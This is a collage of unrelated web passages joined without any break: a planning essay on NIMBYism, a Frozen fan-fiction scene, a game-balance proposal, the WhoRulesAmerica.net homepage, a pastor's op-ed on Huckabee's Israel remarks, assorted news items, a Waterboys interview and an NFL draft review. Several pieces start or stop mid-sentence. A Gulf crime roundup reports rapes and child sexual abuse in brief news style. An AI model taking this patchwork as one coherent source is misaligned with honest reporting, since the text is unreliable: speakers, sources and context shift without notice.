The second legacy of the Jacobsian revolution is related to the first: Privileging the grassroots over plannerly authority and expertise meant a loss of professional agency. In rejecting the muscular interventionism of the Burnham-Moses sort, planners in the 1960s identified instead with the victims of urban renewal. New mechanisms were devised to empower ordinary citizens to guide the planning process. This was an extraordinary act of altruism on our part; I can think of no other profession that has done anything like it. Imagine economists at the Federal Reserve holding community meetings to decide the direction of fiscal policy. Imagine public health officials giving equal weight to the nutritional wisdom of teenagers — they are stakeholders, after all! Granted, powering up the grassroots was necessary in the 1970s to stop expressway and renewal schemes that had run amok. But it was power that could not easily be switched off. Tools and processes introduced to ensure popular participation ended up reducing the planner’s role to that of umpire or schoolyard monitor. Instead of setting the terms of debate or charting a course of action, planners now seemed content to be facilitators — “mere absorbers of public opinion,” as Alex Krieger put it, “waiting for consensus to build.”
The fatal flaw of such populism is that no single group of citizens — mainstream or marginalized, affluent or impoverished — can be trusted to have the best interests of society or the environment in mind when they evaluate a proposal. The literature on grassroots planning tends to assume a citizenry of Gandhian humanists. In fact, most people are not motivated by altruism but by self-interest. Preservation and enhancement of that self-interest — which usually orbits about the axes of rising crime rates and falling property values — are the real drivers of community activism. This is why it’s a fool’s errand to rely upon citizens to guide the planning process. Forget for a moment that most folks lack the knowledge to make intelligent decisions about the future of our cities. Most people are simply too busy, too apathetic, or too focused on their jobs or kids to be moved to action over issues unless those issues are at their doorstep. And once an issue is at the doorstep, fear sets in and reason flies out the window. So the very citizens least able to make objective decisions end up dominating the process, often wielding near-veto power over proposals.
To be fair, passionate citizen activism has helped put an end to some very bad projects, private as well as public. And sometimes citizen self-interest and the greater good do overlap. In Orange County, part of the Research Triangle and home to Chapel Hill, grassroots activism stopped a proposed asphalt plant as well as a six-lane bypass that would have ruined a pristine forest. But the same community activism has at times devolved into NIMBYism, causing several infill projects to be halted and helping drive development to greenfield sites. (Cows are slow to organize.) It’s made the local homeless shelter homeless itself, almost ended a Habitat for Humanity complex in Chapel Hill, and generated opposition to a much-needed transit-oriented development in the county seat of Hillsborough (more on this in a moment). And for what it’s worth, the shrillest opposition came not from rednecks or Tea Party activists but from highly educated “creative class” progressives who effectively weaponized Jane Jacobs to oppose anything they perceived as threatening the status quo — including projects that would reduce our carbon footprint, create more affordable housing and shelter the homeless. NIMBY |
youngest brother."
"And what did she say when you told her Hans was dead?"
"Nothing, though I caught a hint of relief on her face." Frederik stood straight once more, pacing behind Nikolaus. "I left immediately after, the council seemed content with my answers."
"And our gift to the princess?"
"I left Sitron with the stablehand. An unassuming sort, Harald, I think, was his name. Smart enough to care for the horses, not smart enough to ask too many questions. They did have a tame reindeer, which seems odd, now I think of it."
"Visting nobles from the border kingdoms, perhaps?"
"A definite possibility, Nikolaus; but more than that is merely speculation. I doubt we should labour the point."
"So, to our previous discussion, the marshal, and his place in Arendelle?"
"Highly placed, influential, and not as sympathetic to the queen as he appears." Frederik smiled coldly.
"Maybe Hans wasn't so misguided after all," Nikolaus dared to whisper. "He just didn't think to use the council."
"And what of our next visit?"
"You assume there will be a next time, brother." Nikolaus smirked, gently reminding his brother of how much ill will had been garnered on both of the Southern Isles' previous missions to Arendelle. If they were allowed a third chance, he knew it would likely be their last. And given what the marshal had left unsaid in that message, might prove to be most profitable—or an invitation to their doom. Was it possible? He considered the message, Frederik's read of the man, what they knew of the queen and her council. What if the marshal was merely an honest man, playing the liar's game, trying to weed out such treachery before it became a problem for the queen?
Brilliant.
If the marshal was honest, then it was a trap. If he was dishonest, it was an opportunity. But the risk of seizing that opportunity suddenly far outweighed the possible gains—especially when Nikolaus tried to ascertain the odds of coming away better off if they simply remained neutral, or tried to improve their relations through more diplomatic channels. No one need know—but it was time for a decision to be made. Nikolaus's voice was a hushed whisper, forcing Frederik to lean in close.
"Arendelle now espouses a position of neutrality with regards to home. That means the next move is ours. I've seen enough between you, Walder, and our father to know that that means we now have a chance. This queen Elsa is very shrewd—once more she has managed to turn crisis for us into opportunity for her to judge us by our next move while still appearing so magnanimous."
"And of the marshal's opportunity?"
"It could well be a trap. I say that particular subterfuge is only if we have exhausted all other diplomatic options."
"And our military options?"
"You strode across a frozen harbour last night, tell me if you think that was natural."
"It surprises me she didn't simply use those powers to destroy Weselton's fleet."
"I think it was a delaying tactic," Nikolaus gestured expansively. "They were holding the royal princess to ransom, after all."
"So, aside from blizzards, ice floes, and snow, we have no idea of the magnitude of her powers."
"I suppose we don't," Nikolaus shrugged. "Enough delays; we will be underway before noon."
Arendelle would not have been easy to conquer at the best of times, and now? No. All they could do was wait, and attempt to prove their worth as allies. Then… then they could take what they wanted. His mind made up, if not his brother's, Nikolaus laid in a course of action. They had been away from home for too long, and he did so miss the open seas.Right now, both allies and enemies need the same time to capture a spire (2 seconds), get the same amount of gold (15 to 30), and have the same lock-out time (15 seconds). The ability should favor certain parties in certain regards though. >##For Skarner's Allies **They should be easier to capture**: This could scale downwards with level (2 seconds --> 2/1.75/1.5/1.25/1) or it could just be slightly lower (1.75 seconds or 1.5). Capturing spires for or as Skarner shouldn't be a chore, it's supposed to benefit his whole team. Right now all it does is benefit Skarner a little and root one of his allies for 2 seconds. **They shouldn't grant gold**: Skarner's spires are different from other summoned "units" in that they can be summoned by his allies as well. However, this shouldn't allow them to grant gold. Even so, the gold almost seems like a pittance for making you waste your team capturing the spire. Instead, they should grant other, better rewards. **Their lock-out time should scale up with level**: That way Skarner is still encouraged to capture spires before or during fights in the early to mid game, but he needn't worry so much about that in the late game. Instead, he'd have zones he can rely on and conquer. **Their vision should last longer**: Instead of gold, spires should grant Skarner's allies a tangible reward for being captured. Currently the vision they grant when captured only lasts for 1.5 seconds. I suggest upping that to 3 or 5 seconds. The vision could decay during this duration and the duration could scale with Skarner's level, but Supports would be much more willing to capture spires if they helped with vision control. >##For Skarner's Enemies: **They should be harder to capture in comparison**: The capture duration could stay at 2 seconds, as long as it is shorter for Skarner's allies. It could also be upped to anything from 2.25 to 3 seconds. Capturing spires as Skarner's enemies *should* be a chore. But it should have its own rewards as well, which are... **... They should grant more gold**: Instead of 15/30 something like 25/50. **... Their lock-out time should last longer**: This would encourage enemies to capture Skarner's spires before fights to deny them for the fight. This lock-out time would still be shorter than Skarner's allies' in the late game though. >##Capture Denial Lastly, the means of capturing spires should be different. Standing on a spire to deny capture is too difficult for what they do and leads to frequent shifts in control of spires. **Skarner should be the only one who can capture spires despite enemies**. So the only thing keeping Skarner from conquering what's his is the lock-out time. Everyone else should have their capture attempt canceled if they are damaged by an enemy champion or if an enemy champion is standing on the spire. P.s.: Spire size (the inner capture zone, not its radius) could also be slightly increased.
Title
Body Cancel
SaveWhoRulesAmerica.net
Power, Politics, & Social Change by G. William Domhoff
Welcome to WhoRulesAmerica.net, a site about how power is distributed and wielded in the United States. It both builds upon and greatly supplements the book Who Rules America?, now in its 7th edition. The book's new subtitle, "The Triumph of the Corporate Rich," reflects the success of the wealthy few in defeating all of their rivals (e.g., organized labor, liberals, environmentalists) over the course of the past 35 years. The story of how the corporate rich won all the big battles is complicated, but most of the answers are in the new Who Rules America? and/or this Web site; you can also watch some videos of Bill giving invited lectures on the topic.
Among the many things you'll find here: supplementary information and updates for readers of WRA; an overview of the American power structure at the national level and an in-depth look at power at the local level; a look at the wealth and income distribution in the U.S.; and an overview of the Four Networks theory of power, which provides the best general theory of power and social change within which to situate the class-domination theory we've developed specifically for the United States.
There's a special section (including photos and first-hand accounts) about a unique elite social club that's been holding its annual California summer retreat for well over a century: The Bohemian Club & The Bohemian Grove. And there are analyses of social movements and social change based on research in the social sciences; critiques of alternative theories of power; links to Web sites and books about power and social change in the United States; and much more. You can use the menu on the left side of the page to navigate through the site (each section heading clicks open to reveal several documents).
Questions and Answers
Q: So, who does rule America?
A: The owners and managers of large income-producing properties; i.e., the owners of corporations, banks, other financial institutions, and agri-businesses. But they have plenty of help from the managers and experts they hire. You can read the essential details of the argument on this site, or read the new seventh edition of Who Rules America?.
Q: Do the same people rule at the local level that rule at the federal level?
A: No, not quite. The local level is dominated by the land owners and businesses that own downtown real estate and big shopping malls. They come together as growth coalitions, which turn cities into "growth machines" when they gain control of local government. Everything is about land values for them, and that requires office buildings, stadiums, museums, concert halls, shoppers, conventions, and tourists.
Q: Do they rule secretly from behind the scenes, as a conspiracy?
A: No, conspiracy theories are all wrong for many reasons. It's true that some corporate leaders lie and steal, and that some government officials — including the President — initiate secret actions and then try (and usually fail) to keep them out of the newspapers. But those activities are not what is meant by a conspiracy theory, most of which involve an imagined small group of people secretly plotting to gain or retain control of the government through illegal means.
Q: Then how do they rule?
A: That's a complicated story, but the short answer is through lobbying, open and direct involvement in general policy planning on the big issues, participation (in large part through campaign donations) in political campaigns and elections, and through appointments to key decision-making positions in government.
Q: Are you saying that elections don't matter?
A: No, but they usually matter a lot less than they could, and a lot less in America than they do in other industrialized democracies. That's because of the nature of the electoral rules and the unique history of the South.
Q: Does social science research have anything useful to say about making progressive social change more effective?
A: Yes, it does, but few if any people pay much attention to that research.
Q: Is WhoRulesAmerica.net connected to the "Who Rules America?" documents on natvan.com or ncoal.com?
A: No! Those sites (and many others with documents purporting to tell you "who rules America") are run by white supremacist/neo-Nazi organizations.Arutz Sheva is an Israeli news service associated with the settler movement.
I find former pastor, turned politician and political commentator, Mike Huckabee’s recent statements in Jerusalem quite inflammatory and incredibly uninformed. I am an evangelical pastor volunteering for 3 months in Israel/Palestine with an international Christian organization called Ecumenical Accompaniment Program for Palestine and Israel. Let me share my perspective of a few of Mr. Huckabee’s statements based on the “facts on the ground” as I understand them here in Israel/Palestine.
Huckabee: “My question is how would the government of the United States feel if Prime Minister Netanyahu began to dictate which people could live in the Bronx, which ones could live in Manhattan, and which could live in Queens. The Jewish settlers’ have the right to build anywhere in the place that God gave them.”
There is a semblance of logic here but East Jerusalem is not Israel’s territory to control. It is territory which it occupied by force in 1967 and illegally annexed as part of Israeli Jerusalem soon after its conquest. True, the US might not like being told who can build in the Bronx or Queens, but that analogy doesn’t apply here. It is more like the New York National Guard invading Newark, New Jersey, annexing it as part of New York City, and then severely restricting the residents in any construction while a flood of New Yorkers invaded with official support and few building limitations. Iraq conquered Kuwait by force of arms and felt it had every right to relocate Iraqi civilian population into Kuwait City but the US and the world community did not take too kindly to that whole scenario. Oh, and by the way, such a right of Jews to build wherever they want in this occupied territory is ILLEGAL. The Fourth Geneva Convention, to which Israel is a signatory, states very clearly that “The Occupying Power shall not deport or transfer parts of its own civilian population into the territory it occupies.”
Huckabee: “If Palestinians want an independent state, they should seek it from Arabs — not Israel. There are vast amounts of territory that are in the hands of Muslims, in the hands of Arabs.”
The aspiration of Palestinian nationhood is not based on a request to Israel to magnanimously give up a chunk of its sovereign territory to provide space for a Palestinian nation. It is based on international law calling upon the state of Israel to relinquish territory they have occupied and controlled by force of arms. Israel’s very right to exist is based on the UN mandate to partition Palestine, granting Israel nationhood with boundaries established through the negotiated armistice of 1948. They have no international right to control the occupied Palestinian Territories. If those occupied territories were returned to the former sovereign control of Egypt in the case of Gaza, and Jordan in the case of the West Bank, then we would be talking about calling upon Arab countries to release these territories for a Palestinian state. It is the height of injustice and ignorance to suggest that Palestinians vacate a land that they have occupied for hundreds and hundreds of years to give way to the State of Israel, the vast majority of whose population has come to this region in the last 100 years. Such a suggestion means that the 1.5 million in Gaza and 2.5 million in West Bank would follow in the footsteps of the 700,000 who fled as refugees from the area mandated for Israel in 1948.
Huckabee: “This place is the place that God gave them.”
As a fellow pastor I believe I understand what Mr. Huckabee means when he talks about this being Israel’s “God given land”, but my understanding of a just, loving and merciful God would never relegate the 4 million Palestinians who are indigenous to this area to the dust pile of history to make way for the nation of Israel. It is my belief that God not only cares about the Israeli people but He also passionately cares for and walks among this gracious, industrious and determined Palestinian people.
It is most alarming to me that Mike Huckabee, who at one time had his eye on the Oval Office and may yet again, would make such uninformed, provocative and unconstructive statements in the midst of this tension filled area. May it be that more knowledgeable, balanced and productive voices from America be raised up.
Wayne Smith has been a pastor at Praise Covenant Church in Tacoma, Washington for the past 10 years.Surfing in India is on the verge of a mini revolution. The sport, which was introduced to India by Jack Hebner, more popularly known as the Surfing Swami, in the early 2000s, is seeing a phenomenal growth in popularity.
Today, there are multiple surf schools on the east and west coast of the country, such as the Mantra Surf Club (Mangaluru), Shaka Surf Club (Mangaluru) and the Covelong Surf Point (Chennai). Now festivals such as the 'Covelong Surfing festival' and the 'Indian Open of Surfing' get more than 100 participants in multiple categories.
Surfing has also helped the fisherfolk, who were among the first ones to pick up the sport. Many young men from the community work as full-time surfing trainers now.
“These surfing festivals bring people from various backgrounds to one place. And here they get to talk, learn and enjoy with each other. Due to surfing, people now realise fisherfolk aren't hostile or uneducated. And we have also learned a lot from the people who come here,” notes Murthy Megavan, who is often referred to as the father of surfing on the east coast of the country.
Surfing will feature for the first time in the 2020 Olympics. While the Tokyo Games may be too early for India's surfers, the future is certainly bright.
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.It lies between the two tiny hamlets of Meadow and Glad Valley in South Dakota, from where it is at least two hours drive to the nearest Golden Arches.
The calculation was done by artist and technologist Stephen Von Worley, who mapped the 13,000 McDonald's in the lower 48 states. Alaska and Hawaii were excluded.
From the "McFarthest Spot" the distance to the nearest McDonald's is 107 miles as the crow flies and 145 miles by car.
The results mean that a hungry motorist is always within a full tank of petrol of a McDonald's restaurant anywhere in the continental United States.
Mr Von Worley, 39, plotted the positions of the restaurants on a map on his blog weathersealed.com. Each restaurant is marked with a glowing spot of light and together they show virtually the entire country lit up.Mike Scott of the Waterboys strides politely but purposefully into the interview room. The Waterboys have just played a joyful concert as part of the Italian leg of their Fisherman’s Blues anniversary tour. Strangely, given that I’ve spent about 25 years listening to his music, and have just finished his superb autobiography, I’ve no idea of what to expect of him as he sits down.
Well, perhaps not so strange, given that this is Mike Scott, a songwriter who has differentiated himself from his peers consistently by shedding his skin (and at times his band) at every other turn, just when you thought you knew him. He’s been called difficult, and – less charitably, and unfairly – even mad (in part, no doubt, because of his outspoken opinions on spirituality, and because of his retreat at one point to the Findhorn community). More recently he’s become a literary figure, again putting the poems of W.B. Yeats to music (something he did first with the stolen child on The Fisherman’s Blues album), and publishing that critically acclaimed autobiography.
There’s almost too much to take in, as we sit down to chat – though chat is not really the word for it; it’s an interview, and Scott, who has done his fair share of them (despite doing practically no press at all in the Waterboys’ heyday) has all the poise of a prize fighter as he knocks down the first banal question fired his way:
‘Was it difficult getting back together for this tour?’
‘No’ [a pause that feels like an age] ‘in what way?’
‘Because of all the time that had passed.’
‘Music exists in a place outside of time ‘
After a shaky start, though, things settle and Scott is more than generous as an interviewee, eager to talk, and at the centre of our discussion is the Fisherman’s Blues – the album that it was, and the albums that it could possibly have been, represented now by the release of the massive Fisherman’s Box – the complete Fisherman’s Blues box-set, a 6-cd collection that contains most of the songs/versions recorded over a two year period, from 1986-88 in Dublin, Spiddal and San Francisco. Despite being titled the ‘complete sessions’ Scott admits that “Oh yes, there are still other songs. It’s infinite really. We recorded so much that it’s almost infinite, I don’t know how much music there is from those sessions.”
Of course I’ve got more songwriting tricks and skills now than I had thirty years ago, but I’m more self-conscious of the song-writing process whereas thirty years ago I was less self-conscious of it and I could do it almost more easily. There wasn’t an inner critic watching it.
“It was very difficult for me”, he explains as I ask how he originally went about choosing the songs that went on the Fisherman’s Blues,”because I was so familiar with the songs, and I lost my perspective. I’d been working on it for so long that I’d lost my vision of the album, and as you can tell from the amount of material it would be very hard for anyone to have a vision of what that album should be. Really it’s three or four albums. There should have been an album in 1996 from the early sessions – from cd 1 and 2 of the box set. There could have been an album from cd3 in San Francisco on its own. There could have been an album from cd 4 & 5, and then another one from the recordings in Spiddal. I’d set myself an impossible task compiling it into a single record, but I did the best I could. I needed a format, so I decided to make one side Dublin and one side Spiddal. That gave it a shape. I chose five tracks from Dublin that I felt certain about, even though there were loads of other tracks that I could have / should have included, those were five that I was certain of. Then it was easier with the Spiddal side as they were more recent at the time.”
Looking back now, how happy is he with the choices he made? Did he pick the right songs at the time – given that there are alternative versions and songs that we can now hear on the box-set. “I think I made quite good choices. Some of them – Fisherman’s Blues, We Will Not Be Lovers,, Sweet Thing, Stolen Child, Bang on the Ear, When Will We Be Married – those are definitive. They could have been on anyone’s Fisherman’s Blues album.”
“My real regret though is that I didn’t make it a double or triple album. It would have been a great double album”. This of course begs the question, why didn’t he? Was he under record company pressure? “No! Not at all! I had just lost my perspective on it. You see, tracks like Custer’s Blues on the box set, is a great track and was already mixed. It should have been on the album. Lost Highway, our cover of the Hank Williams’ track, was beautiful and already mixed. Close to heaven – twelve minutes! That needed a mix but most of them were ready mixed from the desk on the night and could have been on the album. If i’d just had a clear perspective. If I could just have gone in with the perspective that I have now I would have made a killer double album”.
And a killer double album, back in 1988 would have been interesting indeed – as Scott points out: “It would have been great fun as well, because it would have come out the same week as Rattle and Hum, and everyone would have been comparing them, and we would have whipped U2’s ass!”
It was one of the most stupid things that I’ve ever heard, that the Waterboys could have been the next u2 – absolute rubbish!
There was, of course, a moment – I suggest – back in the mid-to-late ’80s when the Waterboys were being bracketed for the same global/stadium-filling success by music industry pundits. He’s quick to jump in here: “Well we supported them on about 20 shows in ’84. The expectation that the Waterboys would ‘become the next U2’ was a stupid expectation, and anybody who really thinks that isn’t thinking clearly.”
We were always a very different kind of beast. We were a single guy with a hired band that moved in and out of various degrees of being a real band, but U2, Simple Minds, REM – those stadium sized bands, that went that route – they had fixed line-ups that kept making records, and I’m not saying they kept making the same records, but they made records with incremental differences that brought the audience with them. We were the child of a singer-songwriter who’d go any direction he wanted. I was always much more in a Bob Dylan or Neil Young mould. You’d never have been able to squeeze them into the sort of route that those ’80s bands went, and you couldn’t squeeze me into it either, and anybody who thought that they could isn’t really taking a clear look at it. It was one of the most stupid things that I’ve ever heard, that the Waterboys could have been the next u2 – absolute rubbish! [almost spitting].”
It’s interesting, though, this dynamic between the songwriter with the hired band and the notion of a ‘real band’, because while obviousl,y at a very basic level, the Waterboys is Mike Scott,it was impossible not to notice the genuine warmth felt earlier in the evening, from the crowd,when the re-united Fisherman’s Blues line up of Scott, Steve Wickham, Anto Thistlethwaite, and Trevor Hutchinson, accompanied by drummer Ralph Salmins took to the stage.
In particular the trio of Scott, Thistlethwaite, and Wickham split up in difficult circumstances after the Room to Roam album, and while Wickham rejoined Scott back in 2007, this European tour is the first real outing with Thistlethwaite back in the fold. “Anto played two shows with us in Spiddal last year, and those shows were the basis of this show”, Scott explains. “We knew that there was a good musical relationship still there with Anto, and we could put together a new show, and the anniversary of Fisherman’s Blues was a good reason to do that.”
At the show just before this interview, the re-united line-up had them dancing, literally, in the aisles, of the theatre and was magnificent, but how easy/hard is it to revist these songs with the re-formed line-up? “Steve, Ralph and myself are used to playing Fisherman’s Blues, Whole of the Moon and a bunch of other songs every night on stage, but we have to do them differently now with Trevor and Anto because they bring something different to it. I’m still working out exactly how to play those songs – they haven’t got quite finished arrangements yet. For example, on Whole of the Moon I’m wondering whether we should have Steve on the electric mandolin as well so we could have two mandolins for a fuller sound. I haven’t figured it out.”
And how likely is it that this line-up will last beyond a tour, for example to record new material? There’s a microsecond pause – enough to count as hesitation, given that Scott confidently answers each question posed immediately. “We might record with this line-up, but not immediately. We’re just going to do this tour and let it settle.” He pauses again. “It’s a big thing, playing with these guys again.”New York, NY – Statik Selektah is the newest member of the Roc Nation family. The veteran DJ has signed a management deal with Jay Z’s company, joining a fast-growing roster that includes Fat Joe and Jim Jones.
In an interview with Billboard, Statik explained how Roc Nation management rep Kristi Clifford helped him land the deal. The producer behind the Joey Bada$$ cuts “SUPER PREDATOR” and “LEGENDARY” said his name first came up during a meeting about The LOX, who signed to Roc Nation last year.
“I’ve known Kristi over there for a long time and she had mentioned my name,” he said. “My name came up in a meeting when they were talking about The LOX. I wasn’t on the last LOX album and Kristi spoke up and said that [I’m] on the next one, so it kind of started a conversation and we started throwing out ideas with me coming up [to Roc Nation]. A lot of the people up there was familiar with what I was doing. I played some music and it just all came together really good. The whole staff up there is exactly what I need for my movement to go to the next level. I think I bring my own flavor of what I do as well.”
@StatikSelekt announces his new album, “Eight” coming this summer! Check out his latest @Billboard interview. #RocFam A post shared by Roc Nation (@rocnation) on May 25, 2017 at 10:35am PDT
Statik’s first release under Roc Nation management will be his album titled 8, which is due out this summer. The LP will feature guest appearances by Joey Bada$$, Action Bronson, Termanology, Run the Jewels, The LOX, Wale, Black Thought, Raekwon, Freddie Gibbs, Westside Gunn, Conway, Royce Da 5’9 and the late Sean Price.By Staff
A convicted rapist hid the body of a victim for more than three decades after burying her in a woodland near England.
Sally McGrath disappeared in July 1979 and her body was found only eight months later. By then the body was decomposed and she was identified by her dental records, reports Daily Mail
However, the case remained unresolved for more than 30 years.
Now, Paul Taylor, 60, is standing trial for murdering McGrath, then 27 years old ad for three other sexual assaults.
Taylor who worked as a builder in the 70s repeatedly raped a 19-year-old after offering her a lift home from the Bull Hotel in Peterborough in in March 1979.
Though she reported to police, they had allegedly asked her not to pursue the case.
A month later, he allegedly attacked a 24-year0old girl again after offering her a lift.
But when she resisted, he pushed her off his vehicle and drove off.
He also befriended a 17-year-old girl and persuaded her to join him on a boat ride. Once she got in, he drove her to a woodland, 600 yards from where Sally McGrath’s body was later discovered and violently raped her.
Dad molests girl from age 7
EGYPT: In one of the most gruesome acts of incest, a father sexually assaulted his daughter from the age of seven, Al Jareema reported.
After being informed by the neighbours about the father molesting their daughter in her absence, the mother made up a plan.
She informed her husband that she would be going out to visit her family. When she saw her husband sexually assaulting the girl, she rushed inside and caught him red handed.
The police was also called to the location where the man was arrested immediately.
Man assaults 8-year old boy
In an absurd case of child abuse, a 55-year old worker, kidnapped and assaulted an 8-year old boy in Dubai, Al Khaleej reported.
After the prayers, the man asked the boy to the mosque’s garden, he then took the child to a corner where he was assaulted.
Fortunately the child fled and sat on the staircase awaiting his father’s arrival. But the man followed him there as well and began asking him which school he studied in and what his age was.
Soon, the father arrived and the boy told him everything.
The father immediately contacted the police and man has been sentenced to 5 years imprisonment.
12-year old attacked in a parking lot
In a horrific incident in the parking lot of a shopping mall in Dubai, a 23-year old Asian driver tried to assault a 12-year old girl.
Al Khaleej reported that while the mother was in the mall shopping, she asked the girl to wait outside and take care of younger brothers who were in the car.
Seeing her alone, the man approached her and began a conversation with her before assaulting her. He fled when she began beating him.
When her mother arrived, she informed her about what had happened.
After completing the jail term, the accused will be deported.
Man dies of cat bite
Complaining of excruciating pain after being bitten by a cat, a 28-year old man rushed to the hospital to get it checked Al Shorouq reported.
Doctors tried to save the man but were unsuccessful and he died soon. ‘
Hundreds of villagers who gathered for his funeral held the doctors responsible for his death.
His 23-year old fiancé with whom he was supposed to be marrying in March blamed the doctors for their negligence.
Meanwhile, the vets believe the symptoms were similar to dog disease.
Man killed wife and buried her at home
A psychopath murdered his wife for not fulfilling his desires and then buried her in his own apartment in Egypt, Al Jareema reported.
The 38-year old victim’s mother informed the police, that her son-in law often tortured her daughter for not obeying him.
According to her, the husband would be more demanding and abuse her when he was in an intoxicated state.
When the three children were not at home, he took the advantage of the situation and killed his wife. He then tied her hands and legs and buried her in a trench he had dug up in his apartment.
Upon the arrival of the three sons, he consoled them telling them that she would return soon.
However, the neighbours doubted the man as they had not seen the wife in the vicinity for a long time. Their suspicion grew stronger when the man refused to let the maintenance workers enter the house.
They informed the police who entered the apartment and found the body buried there.
MUST READ:The law taking effect from July this year has many worrying over the possibility of the tax being imposed at import, production, wholesale and retail stages.
Md Enayetullah, chief of a wholesale traders association in Moulvibazar, spoke of this fear while the minister was meeting businesspersons to ensure steady supply and prices of commodities during the month of Ramadan.
“Those of us who do business in Moulvibazar, we have no relations with the consumers who are supposed to pay VAT.”
“Businesses from Karwan Bazar, Thanthari Bazar and New Market buy products from us. We will be reduced to nothing if we have to pay tax. Karwan Bazar will then go directly to Khatunganj,” he said, demanding VAT only at retail level.
The matter was discussed with the ministers for commerce and finance and an official plea was made to Prime Minister Sheikh Hasina, said Abdul Matlub Ahmad, president of the Federation of Bangladesh Chambers of Commerce and Industry (FBCCI).
“Please don’t be afraid. The prime minister will not take a decision that will hurt businessmen,” Matlub told the meeting.
“The committee formed by the NBR (National Board of Revenue) and the FBCCI have sought seven amendments. We hope we will be presented with a new VAT law with the amendments.”
The commerce minister then said the government was ‘business-friendly’. “We will take realistic decisions.”
“We don’t want to take away the privileges you enjoy and replace them with something new. Our prime minister and the finance minister are very careful about this.”
“She, too, has come to a realisation, a realistic decision will be taken on VAT. I do not believe you should have anything to worry about.”
Continued Tofail: “The recommendations made by the committee headed by former NBR member Ali Ahmed are already under consideration.”
“The finance minister will reveal the actual decision in his budget speech.”Vitaly Yegorov, a public relations official for a Russian space startup by day and a popular space journalist by night, launched crowdfunding campaign last weed aimed at building a low-cost lunar orbiter. Last time we checked, the effort had already raised more than 1.1 million rubles (~$18,000), far exceeding its goal.
This remarkable result was helped by the proclaimed goal of the nascent lunar project: to beam back high-resolution images of historic landers and even footprints left on the dusty lunar surface, and thus debunk once and for all the claim that NASA astronauts never landed on the Moon and that the famous scenes of men saluting the American flag were staged somewhere in Hollywood.
Perhaps it shouldn't be surprising given the chilly nature of US-Russian relations these days. But now, nearly a half-century after Apollo astronauts walked on the lunar surface, the moon hoax theory is especially popular in Russia. According to a 2011 poll, around 40 percent of Russian citizens believe that the Americans never set foot on the Moon.
Yegorov doesn't hide the fact that while his main goal is to jump-start the Russian planetary exploration program, which saw its last unmanned probe head to the Moon in 1976, he wasn't afraid to use the moon hoax theory as a PR stunt to attract funding and attention. "I would be very interested to explore the Moon and do science, but (the moon hoax theory) is certainly the hottest topic right now," Yegorov told Popular Mechanics.
"If there is a miracle and we are successful, the hope is to create a Russian version of JPL."
NASA
A number of previous spacecraft, including NASA's Lunar Reconnaissance Orbiter (LRO) have already snapped pictures from lunar orbit that showed both US and Soviet hardware on the Moon. But Yegorov and his colleagues hope to deliver much more detailed pictures, taken from as low as 10 km (6 miles) over the moon or even during a suicidal plunge into the regolith at the end of its six-month mission. Getting pictures of the Apollo landing site from an independent Russian source would remove all doubt— or, perhaps more likely knowing conspiracy theorists, give rise to a new theory that this Russian project had been engineered by the CIA as well.
In any case, if successful, Yegorov's myth-busting project could produce the first privately funded microsatellite to reach lunar orbit. To keep the cost down, the team hopes to hitchhike to the Moon along with one of the larger government-funded Russian, Chinese, or Indian spacecraft.
"We first came up with the idea, when we heard that Luna-25 could have a room to carry a hitchhiker payload," Yegorov said. Sponsored by the Russian space agency, Luna-25, (a.k.a. Luna-Glob), is intended to resume the Soviet lunar probe series, which delivered famous Lunakhod rovers to the Moon and returned samples of the lunar soil. According to the official schedule, Luna-25 could launch as early as 2019, but more likely in the first half of the 2020s. Unfortunately, Moscow-based NPO Lavochkin, which develops planetary spacecraft, recently |
solid production on the interior as a stout 5-technique in an aggressive 3-4 scheme. With 13.5 sacks from an inside position, Liuget is an underrated disruptive force against the passing game.
Worst pick: Jonas Mouton, LB (Round 2, 61st overall)
Mouton has to be considered a major disappointment for the Chargers based on his draft position and production (one career tackle). He missed 2013 with a right ACL injury and looks like a long shot to make an impact for the Chargers despite his lofty draft status.
Value pick: Shareece Wright, DB (Round 3, 89th overall)
The Chargers found a gem in Wright as a starting cornerback on the perimeter. The 5-11, 182-pound cover man has a versatile game that meshes well with a system that requires corners to utilize press and "off" technique against big-bodied receivers.
Grade: B
San Francisco 49ers
If you're looking for a reason why the 49ers are one of the heavyweights in the NFC, look no further than the 2011 draft class. The combination of Aldon Smith and Colin Kaepernick gave the team a pair of young playmakers to build around, while Daniel Kilgore and Bruce Miller are the blue-collar players that do the dirty work behind the scenes. With the 49ers stacking a stellar class on top of an extraordinary 2010 group (Anthony Davis, Mike Iupati and NaVorro Bowman), the impressive development of a young, talented roster has put the team in position to compete for the next few years.
Best pick: Aldon Smith, OLB (Round 1, 7th overall)
Smith's knucklehead tendencies have overshadowed his dominant production as a disruptive defender off the edge. The two-time Pro Bowler amassed 42 sacks and five forced fumbles in 43 games, which is absolutely ridiculous for a young player still refining his game. Although his off-field struggles threaten to curtail his career, there's no doubt that Smith is one of the most dominant defenders in the NFL.
Worst pick: Chris Culliver, CB (Round 3, 80th overall)
Culliver has been a mild disappointment as a sub-defender in passing situations. With a host of baggage and maturity concerns clouding the evaluation, it's hard to say the risk has been worth the reward for the 49ers.
Value pick: Colin Kaepernick, QB (Round 2, 36th overall)
Credit Jim Harbaugh for having the courage and confidence to develop a spectacular athlete with an unorthodox game into a franchise quarterback. Kaepernick has given the 49ers' offense an explosive dimension with his ability to create big plays with his arm and legs. More important, he has given the 49ers a confidence and swagger that has helped the team remain a title contender despite dealing with a host of injuries on the offensive side of the ball.
Grade: A+
Seattle Seahawks
The Seahawks don't draft by the book, which is why their classes rarely earn high marks from observers. However, Pete Carroll and John Schneider have a clear understanding for the kind of players they want to add to the roster. As a result, the Seahawks have been able to get tremendous production from unheralded players in recent years. Richard Sherman is a prime example. The former fifth-rounder has emerged as the top cover corner in football. With the Seahawks' roster full of similar stories, the draft-day grades are unable to factor in the tremendous development that takes place on the practice field at the VMAC.
Best pick: Richard Sherman, CB (Round 5, 154th overall)
Sherman put in countless hours to go from an unheralded late-round selection to being considered the top cornerback in football. While critics pick apart his unorthodox game, it's hard to dispute the production (20 career interceptions) and performance from the former Stanford star.
Worst pick: John Moffitt, G (Round 3, 75th overall)
The Seahawks expected Moffitt to be a solid starter for the team, but he failed to play up to expectations and eventually walked away from the game before his prime.
Value pick: Malcolm Smith, LB (Round 7, 242nd overall)
The Super Bowl MVP was an afterthought on draft night, but he proved to be a valuable spot player for the Seahawks. He capably stepped in for K.J. Wright near the end of 2013 and became the catalyst for the team's defensive dominance in Super Bowl XLVIII.
Grade: B-
St. Louis Rams
